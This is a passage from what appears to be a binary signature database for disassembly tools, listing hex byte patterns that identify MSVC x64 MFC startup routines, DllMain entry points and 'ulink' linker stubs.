0210:WinMainCRTStartup$filt$1 629 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+19F^[WinMain]~msmfc64/~@vc64mfc@; 01F0:WinMainCRTStartup$filt$0 0220:WinMainCRTStartup$filt$1 630 | 631 | Pattern: 53574881ECB8000000488D4C2440FF15........FF15........488BC8BF9400 632 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+187^[wWinMain]~msmfc64u/~@vc64mfc@; 01D0:wWinMainCRTStartup$filt$0 633 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+19D^[wWinMain]~msmfc64u/~@vc64mfc@; 01E0:wWinMainCRTStartup$filt$0 634 | 635 | Pattern: 53574881ECD8000000488D4C2460FF15........90E8........8BF8897C243C 636 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+15C^[WinMain]~msmfc64/~@vc64mfc@; 01B0:WinMainCRTStartup$filt$0 01E0:WinMainCRTStartup$filt$1 637 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+15C^[WinMain]~msmfc64/~@vc64mfc@; 01B0:WinMainCRTStartup$filt$0 01E0:WinMainCRTStartup$filt$1 638 | 639 | Pattern: 53574881ECD8000000488D4C2460FF15........E8........8BF8897C243CB9 640 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+176^[wWinMain]~msmfc64u/~@vc64mfc@; 01C0:wWinMainCRTStartup$filt$0 641 | 642 | Pattern: 53574883EC38FF15........488BC8BF940000004C8BC733D2FF15........48 643 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+164^/wmain 01B0:wmainCRTStartup$filt$0 644 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+165^/main 01B0:mainCRTStartup$filt$0 645 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+17A^/wmain 01C0:wmainCRTStartup$filt$0 646 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+17B^/main 01C0:mainCRTStartup$filt$0 647 | 648 | Pattern: 53574883EC68E8........8BF8897C243CB901000000FF15........48B8FFFF 649 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+E4(-18!&~-/__winitenv~)??^/wmain;^/main 0130:mainCRTStartup$filt$0 650 | 651 | Pattern: 555756534883EC2885D24889CF89D34C89C58915........75468B05 652 | 0000:o=2:a=208:c=g:m=+31^/DllMain 653 | 0000:o=2:a=208:c=g:m=+31^/DllMain 654 | 0000:o=2:a=208:c=g:m=+31^/DllMain 655 | 656 | Pattern: 555756534883EC2885D24889CF89D34C89C58915........75768B05 657 | 0000:o=2:a=208:c=g:m=+33^/DllMain 658 | 0000:o=2:a=208:c=g:m=+33^/DllMain 659 | 660 | Pattern: 558BEC51535657BB........85DB756D33C0EB798B53088B0A894DFC85C9745A 661 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 662 | 663 | Pattern: 6A006A0268........68........68........FF25 664 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 665 | 666 | Pattern: 8B4424084874......E9.......... 667 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 668 | 669 | Pattern: 8B4424084874......E9........837C240C0075F45859874424045051E8E7FF 670 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 671 | 672 | Pattern: 8B4424084874..9090E931750900 673 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 674 | 675 | Pattern: 8BC2490BC09090....E9........CCCCCCCCCCCCCCCCCC4883EC18E8E9FFFFFF 676 | 0000:o=2:ulink64:a=208:m=+9!^:S=0/pe64 677 | 0000:o=2:ulink64:a=208:m=+9!^:S=0/pe64 678 | 679 | Pattern: B87E000780C20400 680 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 681 | 682 | --------------------------------------------------------------------------------